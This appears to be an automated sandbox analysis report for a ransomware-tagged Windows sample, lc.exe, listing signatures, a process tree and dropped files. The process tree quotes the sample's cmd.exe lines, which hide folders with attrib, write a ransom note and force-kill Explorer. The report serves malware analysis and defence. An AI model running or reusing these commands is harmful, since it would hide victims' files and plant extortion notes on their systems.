Overview

overview

8

Static

static

3

lc.exe

windows10-2004-x64

6

lc.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    300s
  • max time network
    120s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/06/2026, 16:55

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General

  • Target
    lc.exe
  • Size 351KB
  • Sample260623-vfd6msew4v
  • SHA256 51c13dd60d648ccfc3914b5875190a5076f0523245256a99939d0631230d033a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwaredefense_evasionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Adds Run key to start application 2 TTPs 10 IoCs
    persistence
  • Drops desktop.ini file(s) 4 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
    defense_evasion
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 12 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @PILLORES 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:424
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:3740
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-0v92.txt
        3⤵
        • Views/modifies file attributes
        PID:3352
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @PILLORES 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:3636
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4172
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-0v92.txt
        3⤵
        • Views/modifies file attributes
        PID:4072
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @PILLORES 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5240
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-0v92.txt
        3⤵
        • Views/modifies file attributes
        PID:2988
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @PILLORES 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5920
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:5036
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-0v92.txt
        3⤵
        • Views/modifies file attributes
        PID:1008
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @PILLORES 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:5608
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Drops desktop.ini file(s)
        • Views/modifies file attributes
        PID:4100
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-0v92.txt
        3⤵
        • Views/modifies file attributes
        PID:824
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Telegram for contact: @PILLORES 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:6076
      • C:\Windows\system32\attrib.exe
        attrib +h +s +r +i /D
        3⤵
        • Views/modifies file attributes
        PID:256
      • C:\Windows\system32\attrib.exe
        attrib -h +s +r info-0v92.txt
        3⤵
        • Views/modifies file attributes
        PID:1800
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:4240
  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
      PID:5048
    • C:\Users\Admin\AppData\Local\Temp\lc.exe
      "C:\Users\Admin\AppData\Local\Temp\lc.exe" -startup
      1⤵
        PID:2624
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3888
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1376
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2800

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            info-0v92.txt
            • Path C:\Users\Public\Desktop\info-0v92.txt
            • Size 107B
            • SHA256 5e32e65a10d28392aa60c002e8b12da75c1a3c789db743db993e548eeaf5eb5a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1376-218-0x0000015F69460000-0x0000015F69894000-memory.dmp
            Download

            memory/1472-26-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-28-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-5-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-6-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-11-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-10-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-12-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-13-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-3-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-0-0x00007FFF27ADF000-0x00007FFF27AE0000-memory.dmp
            Download

            memory/1472-27-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-4-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-29-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-30-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-31-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/1472-1-0x0000000000970000-0x00000000009CE000-memory.dmp
            Download

            memory/1472-2-0x00007FFF27950000-0x00007FFF282F4000-memory.dmp
            Download

            memory/2800-43-0x0000018E83920000-0x0000018E83940000-memory.dmp
            Download

            memory/2800-45-0x0000018E83D40000-0x0000018E83E40000-memory.dmp
            Download

            memory/2800-65-0x0000018E83B80000-0x0000018E83BA0000-memory.dmp
            Download

            memory/2800-79-0x0000018E94700000-0x0000018E94720000-memory.dmp
            Download

            memory/2800-33-0x0000018E801E0000-0x0000018E802E0000-memory.dmp
            Download